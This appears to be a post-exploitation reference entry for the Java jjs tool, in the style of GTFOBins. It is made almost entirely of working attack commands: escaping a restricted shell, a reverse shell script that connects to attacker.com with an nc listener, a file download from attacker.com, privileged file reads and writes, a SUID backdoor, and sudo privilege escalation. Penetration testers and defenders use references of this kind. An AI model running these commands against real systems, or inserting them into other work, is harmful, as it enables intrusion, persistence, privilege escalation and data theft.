This tool is installed starting with Java SE 8.
It can be used to break out from restricted environments by spawning an interactive system shell.
echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c \$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)').waitFor()" | jjsIt can send back a reverse shell to a listening attacker to open a remote network access.
Run nc -l -p 12345 on the attacker box to receive the shell.
export RHOST=attacker.com
export RPORT=12345
echo 'var host=Java.type("java.lang.System").getenv("RHOST");
var port=Java.type("java.lang.System").getenv("RPORT");
var ProcessBuilder = Java.type("java.lang.ProcessBuilder");
var p=new ProcessBuilder("/bin/bash", "-i").redirectErrorStream(true).start();
var Socket = Java.type("java.net.Socket");
var s=new Socket(host,port);
var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); Java.type("java.lang.Thread").sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();' | jjsIt can download remote files.
Fetch a remote file via HTTP GET request.
export URL=http://attacker.com/file_to_get
export LFILE=file_to_save
echo "var URL = Java.type('java.net.URL');
var ws = new URL('$URL');
var Channels = Java.type('java.nio.channels.Channels');
var rbc = Channels.newChannel(ws.openStream());
var FileOutputStream = Java.type('java.io.FileOutputStream');
var fos = new FileOutputStream('$LFILE');
fos.getChannel().transferFrom(rbc, 0, Number.MAX_VALUE);
fos.close();
rbc.close();" | jjsIt writes data to files, it may be used to do privileged writes or write files outside a restricted file system.
echo 'var FileWriter = Java.type("java.io.FileWriter");
var fw=new FileWriter("./file_to_write");
fw.write("DATA");
fw.close();' | jjsIt reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.
echo 'var BufferedReader = Java.type("java.io.BufferedReader");
var FileReader = Java.type("java.io.FileReader");
var br = new BufferedReader(new FileReader("file_to_read"));
while ((line = br.readLine()) != null) { print(line); }' | jjsIf the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian (<= Stretch) that allow the default sh shell to run with SUID privileges.
This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.
This has been found working in macOS but failing on Linux systems.
sudo install -m =xs $(which jjs) .
echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc \$@|sh\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)').waitFor()" | ./jjsIf the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c \$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)').waitFor()" | sudo jjs